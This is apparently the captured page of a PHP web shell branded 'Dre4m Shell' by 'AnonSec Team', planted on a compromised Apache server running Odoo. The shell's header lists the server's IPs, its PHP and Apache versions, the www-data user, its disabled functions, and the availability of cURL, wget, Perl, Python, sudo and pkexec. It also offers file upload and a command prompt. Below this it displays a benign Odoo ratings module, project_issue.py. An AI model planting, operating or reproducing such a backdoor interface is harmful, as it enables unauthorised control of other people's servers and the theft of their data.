Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.137.152.81
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/addons/rating_project_issue/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/addons/rating_project_issue/models/project_issue.py
# -*- coding: utf-8 -*-
# Part of Odoo. See LICENSE file for full copyright and licensing details.

from datetime import timedelta

from odoo import api, fields, models
from odoo.tools.safe_eval import safe_eval


class ProjectIssue(models.Model):
    _name = "project.issue"
    _inherit = ['project.issue', 'rating.mixin']

    @api.multi
    def write(self, values):
        res = super(ProjectIssue, self).write(values)
        if 'stage_id' in values and values.get('stage_id'):
            self.filtered(lambda x: x.project_id.rating_status == 'stage')._send_issue_rating_mail()
        return res

    def _send_issue_rating_mail(self):
        for issue in self:
            rating_template = issue.stage_id.rating_template_id
            if rating_template:
                issue.rating_send_request(rating_template, reuse_rating=False)

    @api.multi
    def rating_apply(self, rate, token=None, feedback=None, subtype=None):
        return super(ProjectIssue, self).rating_apply(rate, token=token, feedback=feedback, subtype="rating_project_issue.mt_issue_rating")


class Stage(models.Model):

    _inherit = ['project.task.type']

    def _default_domain_rating_template_id(self):
        domain = super(Stage, self)._default_domain_rating_template_id()
        return ['|'] + domain + [('model', '=', 'project.issue')]


class Project(models.Model):

    _inherit = "project.project"

    def _send_rating_mail(self):
        super(Project, self)._send_rating_mail()
        for project in self:
            self.env['project.issue'].search([('project_id', '=', project.id)])._send_issue_rating_mail()

    @api.depends('percentage_satisfaction_task', 'percentage_satisfaction_issue')
    def _compute_percentage_satisfaction_project(self):
        super(Project, self)._compute_percentage_satisfaction_project()
        for project in self:
            domain = [('create_date', '>=', fields.Datetime.to_string(fields.datetime.now() - timedelta(days=30)))]
            activity_great, activity_sum = 0, 0
            if project.use_tasks:
                activity_task = project.tasks.rating_get_grades(domain)
                activity_great = activity_task['great']
                activity_sum = sum(activity_task.values())
            if project.use_issues:
                activity_issue = self.env['project.issue'].search([('project_id', '=', project.id)]).rating_get_grades(domain)
                activity_great += activity_issue['great']
                activity_sum += sum(activity_issue.values())
            project.percentage_satisfaction_project = activity_great * 100 / activity_sum if activity_sum else -1

    @api.one
    @api.depends('issue_ids.rating_ids.rating')
    def _compute_percentage_satisfaction_issue(self):
        project_issue = self.env['project.issue'].search([('project_id', '=', self.id)])
        activity = project_issue.rating_get_grades()
        self.percentage_satisfaction_issue = activity['great'] * 100 / sum(activity.values()) if sum(activity.values()) else -1

    percentage_satisfaction_issue = fields.Integer(compute='_compute_percentage_satisfaction_issue', string="Happy % on Issue", store=True, default=-1)

    @api.multi
    def action_view_issue_rating(self):
        """ return the action to see all the rating about the issues of the project """
        action = self.env['ir.actions.act_window'].for_xml_id('rating', 'action_view_rating')
        issues = self.env['project.issue'].search([('project_id', 'in', self.ids)])
        action_domain = safe_eval(action['domain']) if action['domain'] else []
        domain = ['&', ('res_id', 'in', issues.ids), ('res_model', '=', 'project.issue')]
        if action_domain:
            domain = ['&'] + domain + action_domain
        return dict(action, domain=domain)

    @api.multi
    def action_view_all_rating(self):
        action = super(Project, self).action_view_all_rating()
        task_domain = action['domain']
        domain = []
        if self.use_tasks: # add task domain, if neeeded
            domain = task_domain
        if self.use_issues: # add issue domain if needed
            issue_domain = self.action_view_issue_rating()['domain']
            domain = domain + issue_domain
        if self.use_tasks and self.use_issues:
            domain = ['|'] + domain
        return dict(action, domain=domain)

Anon7 - 2022
AnonSec Team